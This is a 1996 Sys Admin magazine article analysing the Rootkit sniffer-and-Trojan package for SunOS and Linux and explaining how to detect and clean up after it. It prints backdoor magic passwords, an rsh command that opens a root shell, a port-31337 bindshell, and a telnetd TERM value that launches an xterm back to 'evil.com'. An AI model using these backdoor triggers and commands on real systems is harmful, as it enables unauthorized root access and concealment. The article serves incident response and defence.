[published in Sys Admin 5(11) (November 1996), pp. 8-20]

Recognizing and Recovering from Rootkit Attacks

David O'Brien

Installing Rootkit is one of the more popular activities of serious Internet intruders once they have obtained root privileges of a workstation running SunOS 4.x Unix or the Slackware Linux distribution. Rootkit's name suggests that it is a set of canned attack scripts for obtaining root access. However, Rootkit is really a collection of programs whose purpose is to allow an intruder to install and operate an Ethernet sniffer (a program that captures and decodes every packet on a network) on an unsuspecting SunOS 4.x or Solbourne host using /dev/nit or Linux host using the eth0 interface. With this sniffer, an intruder can obtain the userids and passwords, including root, to your most sensitive networked systems. In this article, I will discuss the various strains of Rootkit that I analyzed, how to recognize and detect an attacked machine, and how to recover from the attack.

The Threat

I traced Rootkit's lineage back to early 1994. Since then, it has been anonymously referred to in several CERT and CIAC advisories (CERT Advisory CA-94:01, "Ongoing Network Monitoring Attacks," February 3, 1994; CERT Advisory CA-95:18 "Widespread Attacks on Internet Sites," December 18, 1995; CIAC Advisory E-09: "Network Monitoring Attacks," February 3, 1994; CIAC Advisory E-12: "Network Monitoring Attacks Update," March 18, 1994) and even a popular newspaper ("Computer Outlaws Invade the Internet," The Atlanta Journal-Constitution; May 24, 1994).

Since its introduction into the intruder community, Rootkit has seen widespread use, and its threat should not be taken lightly. A 1994 CIAC bulletin (CIAC bulletin E-12; March 18, 1994) estimated that the number of accounts compromised worldwide exceeded 100,000. By 1996, this number is much, much greater. CERT and CIAC continue to issue periodic warnings about the popularity of sniffing userids and passwords. Network monitoring (sniffing) attacks represent a serious Internet threat.

The typical Rootkit attack proceeds as follows: The intruders use a stolen or easily guessed password to log in to a host. They then gain unauthorized root access by exploiting known vulnerabilities in rdist, sendmail, /bin/mail, loadmodule, rpc.ypupdated, lpr, or passwd. The intruders ftp Rootkit to the host, unpack, compile, and install it; then they collect more username/password pairs and attack more hosts.

In mid-1996, the only known variants of Rootkit ran on hosts running SunOS 4.x and the Linux Slackware distribution. However, the recipe for Rootkit is quite simple. The first ingredient is a sniffer program, which can be fashioned out of tcpdump or etherfind. This sniffer program, specializing in password recording, puts the Ethernet interface into promiscuous mode and allows the reading of every packet transmitted on an Ethernet network. The second ingredient is the source code to the standard system binaries. Thus, it is quite easy to write a version of Rootkit for other Unix variants. And, I've already discovered a modified version of the SunOS Rootkit sniffer code for Solaris 2.x.

Additionally, you should not assume that because you don't have any workstations running SunOS 4.x or Linux your network is safe. Rootkit's sniffer targets every telnet, rlogin, and ftp session regardless of system type, which includes all Unix flavors, MS-DOS, VMS, and even MVS systems. This makes all your network systems vulnerable to attack - all it takes is one sniffer somewhere along the network path to your system.

The Valuables Stolen

Rootkit's sniffer captures userids and passwords of accounts accessed over the network. Even though network sniffers have existed for some time in both hardware and software forms, their output is enormous and is not well formatted for obtaining userids and passwords. However, the output from Rootkit's sniffer is very clear and concise - weeding out all the TCP packets that are not related to the authentication of telnet, rlogin, or ftp sessions. As shown in Figure 1, in which "userid" and "password" represent the actual data, the intruder can obtain the userids and passwords with ease. This information is logged to a file specified on the command line. The intruder then uses one of the back doors discussed below to collect the log file.

Using logical device ie0 [/dev/nit] Output to stdout.       
Log started at => Mon Nov 6 10:29:07 [pid 13146] -- TCP/IP LOG -- TM: Mon Nov 6 10:30:50 --       
PATH: distant.host.bar.edu(52864) => local.host.foo.edu(telnet)       
STAT: Mon Nov 6 10:52:07, 34 pkts, 73 bytes [TH_FIN]       
DATA: (255)(253)^C(255)(251)^X(255)(250)^X       
: VT100(255)(240)(255)(253)^A(255)(252)^Auserid       
: password       
: -- -- TCP/IP LOG -- TM: Mon Nov 6 10:35:17 --       
PATH: distant2.host.bar.edu(52897) => local2.host.foo.edu(ftp)       
STAT: Mon Nov 6 10:58:17, 14 pkts, 62 bytes [TH_FIN]       
DATA: USER userid       
:  : PASS password       
: --       

Figure 1: Sample output

Given the sample output, it is easy to justify CIAC's claim of more than 100,000 compromised accounts, and the threat is worldwide. Rootkit attacks originate from many different countries. As a side note, telnet and ftp sessions originating from an attacked SunOS 4.x host are not sniffed, because packets going out from the host are not obtainable through /dev/nit.

What Is Rootkit?

I've analyzed seven different SunOS Rootkit samples and three Linux Rootkit samples. The SunOS variants fall into two distinct strains, and the Linux variants all belong to a single strain.

Properly, Rootkit's packing list is:

•Ethernet sniffer, specialized for logging passwords

•Trojan login replacement with back door

•Support programs that are direct replacements for Unix utilities (ps, netstat, ifconfig) that could allow someone to detect the installed Ethernet sniffer

•Utility for installing the Trojan system programs with the same dates/permissions/uid/gid and checksum as the file being replaced

Some strains also include:

•ls and du replacements

•in.telnetd replacements

•Trojan chfn, chsh, inetd, top, rshd, and syslogd replacements

Rootkit Samples

SunOS Strains

The two SunOS strains can be characterized by the secondary utilities included for stealth, "smartness" of the Trojan system programs, number of cracking tools supplied, and bug fixes. The version 1 strains are the oldest and come with more secondary programs to hide the intruder, such as zap and ls and du Trojan replacements. Version 2 strains are derived from the older version 1 strains. Version 2 strains fixed a number of bugs in the modified SunOS source code and changed the makeup of the support programs. For some reason, the stealth versions of ls and du were removed. However, several cracking tools were added, such as bootparm, nfs shell, ypx, traceroute, iss, strobe, and nuke (see sidebar "Other Tools"). First, the parts common to both versions will be discussed.

The sniffer is the Esniff.c program from Phrack Magazine [Vol. 5, Issue 45, File 5 of 28; March 30, 1994 (ISSN 1068-1035)]. The sniffing buffer varies from 128 bytes to 1024 bytes. Various Rootkits call this es, watch, and rpc.rarpd. The login, ps, netstat, and ifconfig are hacked versions of Sun Microsystems's proprietary SunOS 4.1.x source code. They all read mask files to specify which output to hide. Version 1 strains hardcode the filenames /dev/ptyX, where X is a single lowercase letter (with p, q, r being the most popular). Typically, SunOS 4.x pty device files are of the form pty{p, q, r} followed by a hexadecimal digit, so it is very easy not to notice these added files. In version 2 strains, the filenames are ns.f and ps.f in the data/ directory in which Rootkit is built. These mask files can be quite expressive (See sidebar "Mask file formats" for examples.)

The login Trojan allows anyone to log in as root across the network when supplying the magic password. The earliest versions hardcoded this password. I've seen "D13hh[" and "fasune." Later versions query for the password when installing Rootkit. Regardless of the method used, the login Trojan binary does not contain the password in plain text form (it could be found with strings). When the password is hardcoded, it is hidden from strings's view by assigning each letter to an element of a character array. When the password is picked during installation, the bitwise note of the password's letters is stored in the binary. The Trojan login then decrypts the magic password at run-time. Some of the login Trojans also store username password pairs in a file for later collection.

The netstat Trojan hides network connections. With the network connections (such as telnet and ftp) hidden, the intruder is free to pick up the bounty of sniffed passwords or use your site as a springboard from which to attack other sites.

The ifconfig Trojan hides the fact that your network interface is in promiscuous mode. There is no config file associated with the ifconfig Trojan.

The ps Trojan hides running processes belonging to a specified uid, tty, or program name. Many of the Trojans have an added "showall" option (-/) that ignores the contents of the mask file.

Version 1 strains also include an ls and du Trojan pair to hide specified programs and directories from listings. It includes both native BSD and System V flavored versions, which are modified from the SunOS proprietary source code. Also included is zap, which zeroes out entries in utmp/wtmp/lastlog.

One SunOS Rootkit sample also includes a Trojan /usr/etc/in.telnetd. If the value of the TERM environmental variable contains "%," then the contents of TERM are tokenized into the UID, the program to exec(), and the process name ps listings. An example is vt100%0%/usr \ /openwin/bin/xterm -display evil.com%-csh (csh).

Linux Strains

The oldest Linux version of Rootkit that I've seen dates to October 11, 1994 and is incomplete. It includes only the login, ps, and netstat Trojans. The login Trojan magic password is "wh00t!." The netstat Trojan was enhanced with the ability to hide connections based on the UID and UNIX socket path.

The next version, self-named "Linux Rootkit II version 1.0," released on April 1, 1996, was totally rewritten and drew on the SunOS Rootkit for ideas and inspiration. This version contains the most coverage in terms of stealth. Linux Rootkit II version 1.1 quickly followed on April 20, 1996. It fixed some bugs and added a simpler sniffer that was better suited for background usage, a "bind a shell to a socket" utility, and utilities to remove (rather than zero out) utmp/wtmp/lastlog entries. The Linux Rootkit is now a very complete and dangerous package. Like the SunOS Rootkit strains, this version includes Trojan versions of chfn, chsh, inetd, top, rshd, and syslogd. Many of these Trojans recognize a magic password, the default is "lrkr0x," and some recognize the special user "rewt." The following is a list of programs in the Linux Rootkit:

chfn - If you enter the magic password when prompted for your name, you will be dropped into a uid 0 /bin/sh shell, rather than being prompted for your password to commit any changes to your finger information.

chsh - If you enter the magic password when prompted for your new shell, you will be dropped into a uid 0 /bin/sh shell.

inetd - Runs /bin/sh -i as the server when you connect to the rfe service (Radio Free Ethernet). Many Linux distributions do not list this service in /etc/services, and it is not added by Rootkit's installer.

login - Allows root login with all logging turned off. There are two ways this is triggered: (1) magic userid "rewt" allows root login even on unsecured terminals, and the user is never queried for a password; (2) using any userid with the magic password "lrkr0x."

ls/du - These are the same as SunOS additions. Note, since Linux distributions are POSIX it would be extremely easy to allow regular expressions in the mask file by using fnmatch() rather than strcmp() (GNU's ls, which is used in Linux, already uses fnmatch).

ifconfig - Same as the SunOS version.

netstat -- Added masking based on UID and UNIX socket path; has -/ "showall" option.

passwd - If the Rootkit magic password is entered rather than the user's password, /bin/bash is run with UID, EUID, GID, and EGID set to 0.

ps - Same as SunOS.

top - Same as Linux ps.

rshd - Runs commands as root via /bin/sh when the local user (relative to the rshd server) is the Rootkit magic password. Example: rsh -l lrkr0x victim.org /bin/sh -i would give an interactive root shell.

syslogd - Filters log messages containing the specified substrings (via a mask file). This can greatly reduce the amount of work the intruder needs to do to cover his or her tracks on subsequent visits.

bindshell - Binds /bin/sh to a socket (defaults to port 31337) when you connect to the port (a terminating ";" is required for commands).

Detecting Rootkit

Unless the intruder did a poor job of removing traces of his or her visit from the log files, attacks can be hard to detect. Most system administrators don't know their site has been invaded until they are contacted by someone at another site or their disks begin filling up due to the sniffer's logs. If you cannot explain disk usage, you should become alarmed, especially in light of the du and ls Trojans.

Once you suspect a machine has been the victim of a Rootkit attack, you can do several things to verify this. The simplest is to try du, ls, ps, and netstat with the -/ option. If any of them accept this option, then Rootkit has been installed. Also, there is no short-circuiting in the mask list processing; even when you have a hit with a mask specification, the checking continues. So, a large specification list could conceivably cause a noticeable slowdown in the program. Text files found with file in /dev (especially with names of the form /dev/pty without device numbers) are also suspect.

Another way to verify intrusion is to use system programs whose integrity is known. Putting original copies of ps, ls, du, ifconfig, and netstat on a write-protected floppy disk is a good idea. These may be used in situations in which the integrity of the system programs on the hard disk are questionable.

There are many second-party (i.e., nonstandard) utilities that may be added to the above list. These include:

top(1) - A system monitoring utility that combines the functionality of ps(1), uptime(1), renice(8), and kill(1). It can be found at ftp://eecs.nwu.edu/pub/top/ and used to reliably check for the existence of rouge programs in the case of a SunOS host, since that version of Rootkit does not contain it.

lsof - List Open Files (ftp://vic. \ cc.purdue.edu/pub /tools/unix/ \ lsof/), which lists all open files included open network sockets.

tcplist - Lists all open network connections in a nice table, including protocol/port numbers, remote hostname, UID of the local server/client, and remote user for remote sites running an ident server (ftp://ftp.cdf.toronto. \ edu/pub/tcplist).

cpm - May be used on SunOS and Solbourne hosts to determine whether the machine's Ethernet interface is running in promiscuous mode (ftp://info.cert.org//pub/tools \ /cpm/cpm.1.0.tar.Z). For checking file integrity, the cryptographic checksum program md5 should also be added to this arsenal.

Since zap does not delete users from utmp/wtmp/lastlog files, but rather overwrites the entries with binary zeros, such entries can be an indication that a host has been attacked.

Cleaning Up after a Rootkit attack

Once you discover a compromised host, you must determine the extent of the attack. You must presume that all network transactions from or to any host "visible" on the network for the duration of the compromise were monitored and that intruders potentially possess any or all of the information so exposed. You should perform recovery and prevent future attacks as described below.

Disconnect the host from the network or operate the system in single-user mode during the recovery. This will keep users and intruders from accessing the system.

Locating Trojan versions of the standard system programs can be difficult, and you should be cautious in doing so. The intruder may have installed other Trojan programs not part of Rootkit, therefore all system utilities should NOT be trusted unless restored from distribution media or a floppy disk as discussed above. This especially refers to sum, cmp, ls.

I advise that an entire system install be performed from read-only distribution media. If this is not feasible, all system binaries should be compared using a known good copy of md5 against the read-only distribution media. Since Rootkit installs Trojans programs with the exact checksum and timestamp as the legitimate version, these attributes cannot be used to find Trojan programs. However, cryptographic checksums are nearly impossible to spoof. Therefore, md5 from the read-only floppy described above can be trusted to compare installed programs against the distribution media or known correct checksums. Appendix B of CIAC bulletin E-12 contains an extensive list of cryptographic checksums for various SunOS versions. Please refer to this bulletin for further details. The "live filesystem" CD-ROMs that are popular with Linux distributions may also be used.

Resist the temptation of restoring from backups, unless it is positively known the backups were made before the Trojans were installed. Otherwise there is too great a chance the backups contain the Trojan programs, rather than the legitimate ones.

The only effective long-term solution to preventing and neutralizing Rootkit attacks is by using encryption at the protocol layer. IP spoofing not withstanding, simply not transmitting reusable clear-text passwords on the network is probably sufficient. Packages to accomplish these goals include the ssh (ftp://ftp.cs.hut.fi/pub/ssh/) connection encryption package, and one-time password packages S/KEY (ftp://thumper.bellcore.com/pub/skey/) and OPIE (ftp://ftp.nrl.navy.mil \ /pub/security/opie/).

There are several short-term solutions. Simple ones include disabling the C compiler on non-development machines. In fact, this is generally agreed to be a Good Thing on critical servers because it greatly reduces the number of vulnerabilities that may be exploited. Installing and running Tripwire (ftp://coast.cs.purdue.edu \ /pub/tools/unix/Tripwire/) correctly is an excellent line of defense. Another is removing the /dev/nit device on SunOS and Solbourne hosts. This can be accomplished by rebuilding the kernel after commenting out the following lines:

       
# The following are for streams NIT       
# support.  NIT is used by etherfind,       
# traffic, rarpd, and ndbootd.  As a       
# rule of thumb, NIT is almost always       
# needed on a server and almost never       
# needed on a diskless client.       
#       
pseudo-device   snit       
            # streams NIT       
pseudo-device   pf       
            # packet filter       
pseudo-device   nbuf       
            # NIT buffering module

Sidebar: Other Tools

strobe - contains Julian Assange's (aka Proff) superoptimized TCP port surveyor. The official distribution is
ftp://suburbia.apana.org.au/pub/users/proff/original/strobe.tgz.

iss.sh - Christopher Klaus's Internet Security Scanner v1.21. The official distribution is ftp://ftp.iss.net/pub/iss/iss121.shar.

traceroute.c - Van Jacobson's well-known traceroute program. The official distribution is in ftp://ftp.ee.lbl.gov/.

nuke - sends ICMP "host unreachable" packet to specified hosts, posted periodically to the Usenet alt.2600 newsgroup.

nfs shell - shell by Leendert van Doorn (leendert@cs.vu.nl) that provides access to NFS filesystems.

ypx - transfers NIS maps beyond a local network by Rob J. Nauta (rob@wzv.win.tue.nl) posted to the Usenet alt.sources newsgroup.

bootparam - can be used to determine default routers and other information about boot servers (SunOS proprietary code).

Sidebar: Mask file formats

ps mask file -- An example /dev/ptyp mask file is as follows:

       
0 0       # Strips all output with processes running       
          # under root       
1 p0      # Strips all output associated with tty ttyp0       
2 sniffer # Strips from output all programs with the       
          # name sniffer

netstat mask file - An example /dev/ptyq mask file is shown below. (Note that "foreign" refers to connections from the local host out, and "local" refers to connections into the local host.) The SunOS and Linux versions use slightly different encodings for masking actions.

SunOS Rootkit:

       
0 6667          # Strip all foreign irc network connections       
                # (port #)       
1 23            # Strip all local telnet connections (port #)       
2 192.88.209.5  # Strip all foreign connections from        
                # cert.org       
3 128.120.1.    # Strip all local connections to a ucd subnet

       
0 500          <- Hides all connections by uid 500       
1 128.31       <- Hides all local connections from        
                  128.31.X.X       
2 128.31.39.20 <- Hides all remote connections to        
                  128.31.39.20       
3 8000         <- Hides all local connections from port 8000       
4 6667         <- Hides all remote connections to port 6667       
5 .term/socket <- Hides all UNIX sockets including the       
                  path.term/socket

As shown above, there are three types of specifications. A specification other than those supported will be ignored. Not all versions support the mask file "override" option.

ls/du mask file - An example /dev/ptyr mask files is as follows:

       
sunsnif       
icmpfake

syslog mask file, Linux only - An example /dev/ptys mask file is as follows:

    
evil.com       
123.100.101.202       
rshd